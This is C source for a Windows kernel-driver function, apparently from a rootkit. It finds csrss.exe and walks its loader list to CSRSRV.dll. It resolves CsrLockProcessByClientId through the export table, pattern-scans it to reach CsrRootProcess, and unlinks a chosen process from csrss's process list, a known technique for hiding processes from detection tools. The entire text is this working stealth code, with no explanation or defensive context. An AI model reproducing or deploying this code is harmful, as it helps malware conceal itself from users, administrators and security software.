int unlinkInCsrss(char* processus)
{
PEPROCESS pEprocessCourante;
PLIST_ENTRY lcCourante;
LIST_ENTRY lEntry;
ULONG valeurDebut;
KAPC_STATE kApcState;
PUCHAR pPeb , pPebLdr , pPebLdrEntry , imgBaseCsrsrv , name , CsrLockProcessByClientId , CsrRootProcess;
PIMAGE_DOS_HEADER pImgDosHeader;
PIMAGE_NT_HEADERS pImgNtHeader;
PIMAGE_EXPORT_DIRECTORY pImgExportDirectory;
PULONG rvaNameTable , rvaAdressTable;
int i;
PCSR_PROCESS pCsrProcess;
imgBaseCsrsrv = NULL;
CsrLockProcessByClientId = NULL;
pEprocessCourante = IoGetCurrentProcess();
valeurDebut = (ULONG)pEprocessCourante;
do
{
if(strncmp("csrss.exe" , (PUCHAR)pEprocessCourante + 0x174 , strlen(processus)) == 0)
break;
lcCourante = (PLIST_ENTRY)((PUCHAR)pEprocessCourante + 0x88); pEprocessCourante = (PEPROCESS)((PUCHAR)lcCourante->Flink - 0x88);
}while((ULONG)pEprocessCourante != valeurDebut);
if((ULONG)pEprocessCourante == valeurDebut)
return 0;
KeStackAttachProcess( (PKPROCESS)pEprocessCourante , &kApcState );
pPeb = (PUCHAR)*(PULONG)((PUCHAR)pEprocessCourante + 0x1b0); pPebLdr = (PUCHAR)*(PULONG)(pPeb + 0x00c); lcCourante = (PLIST_ENTRY)(pPebLdr+0x00c); pPebLdrEntry = (PUCHAR)lcCourante->Flink;
valeurDebut = (ULONG)pPebLdrEntry;
lcCourante = (PLIST_ENTRY)lcCourante->Flink;
while(valeurDebut != (ULONG)lcCourante->Flink)
{
if( wcsstr( (wchar_t*)*(PULONG)(pPebLdrEntry+0x024+0x004) , L"CSRSRV.dll" ) != NULL )
{
imgBaseCsrsrv = (PUCHAR)*(PULONG)(pPebLdrEntry + 0x018) ; break;
}
pPebLdrEntry = (PUCHAR)lcCourante->Flink;
lcCourante = (PLIST_ENTRY)lcCourante->Flink;
}
if(imgBaseCsrsrv == NULL)
{
KeUnstackDetachProcess( &kApcState );
return 0;
}
pImgDosHeader = (PIMAGE_DOS_HEADER)imgBaseCsrsrv;
pImgNtHeader = (PIMAGE_NT_HEADERS)(imgBaseCsrsrv + pImgDosHeader->e_lfanew);
pImgExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(imgBaseCsrsrv + pImgNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
rvaNameTable = (PULONG)(imgBaseCsrsrv + pImgExportDirectory->AddressOfNames);
rvaAdressTable = (PULONG)(imgBaseCsrsrv + pImgExportDirectory->AddressOfFunctions);
for( i = 0 ; i < (int)pImgExportDirectory->NumberOfFunctions ; i++)
{
if( strcmp("CsrLockProcessByClientId" , imgBaseCsrsrv + rvaNameTable[i]) == 0 )
{
CsrLockProcessByClientId = imgBaseCsrsrv + rvaAdressTable[i];
DbgPrint("CsrLockProcessByClientId : %x." , CsrLockProcessByClientId );
break;
}
}
if( CsrLockProcessByClientId == NULL )
{
KeUnstackDetachProcess( &kApcState );
return 0;
}
for( i = 0 ; i < 50 ; i++ )
{
if( (*(CsrLockProcessByClientId+i) == 0x83) && (*(CsrLockProcessByClientId+i+1) == 0x22) && (*(CsrLockProcessByClientId+i+2) == 0x00) && (*(CsrLockProcessByClientId+i+3) == 0x8B) && (*(CsrLockProcessByClientId+i+4) == 0x35) &&
(*(CsrLockProcessByClientId+i+9) == 0x83) && (*(CsrLockProcessByClientId+i+10) == 0xC6) && (*(CsrLockProcessByClientId+i+11) == 0x08) )
{
CsrRootProcess = (PUCHAR)*(PULONG)(*(PULONG)(CsrLockProcessByClientId+i+5));
break;
}
}
if( i == 50 )
{
KeUnstackDetachProcess( &kApcState );
return 0;
}
pCsrProcess = (PCSR_PROCESS)CsrRootProcess;
pEprocessCourante = IoGetCurrentProcess();
valeurDebut = (ULONG)pEprocessCourante;
do
{
if(strncmp(processus , (PUCHAR)pEprocessCourante + 0x174 , strlen(processus)) == 0)
break;
lcCourante = (PLIST_ENTRY)((PUCHAR)pEprocessCourante + 0x88); pEprocessCourante = (PEPROCESS)((PUCHAR)lcCourante->Flink - 0x88);
}while((ULONG)pEprocessCourante != valeurDebut);
if((ULONG)pEprocessCourante == valeurDebut)
{
KeUnstackDetachProcess( &kApcState );
return 0;
}
i = 0;
lEntry = pCsrProcess->ListLink;
valeurDebut = (ULONG)pCsrProcess;
pCsrProcess = (PCSR_PROCESS)((PUCHAR)lEntry.Flink - 0x8);
while(valeurDebut != (ULONG)pCsrProcess)
{
if( (ULONG)pCsrProcess->ClientId.UniqueProcess == *(PULONG)((PUCHAR)pEprocessCourante + 0x084) ) {
*(PULONG)(pCsrProcess->ListLink.Blink) =(ULONG) pCsrProcess->ListLink.Flink;
*(PULONG)((PUCHAR)pCsrProcess->ListLink.Flink + 4) = (ULONG)pCsrProcess->ListLink.Blink;
i = 1;
}
lEntry = *(lEntry.Flink);
pCsrProcess = (PCSR_PROCESS)((PUCHAR)lEntry.Flink - 0x8);
}
if( i == 0 )
{
KeUnstackDetachProcess( &kApcState );
return 0;
}
KeUnstackDetachProcess( &kApcState );
return 1;
}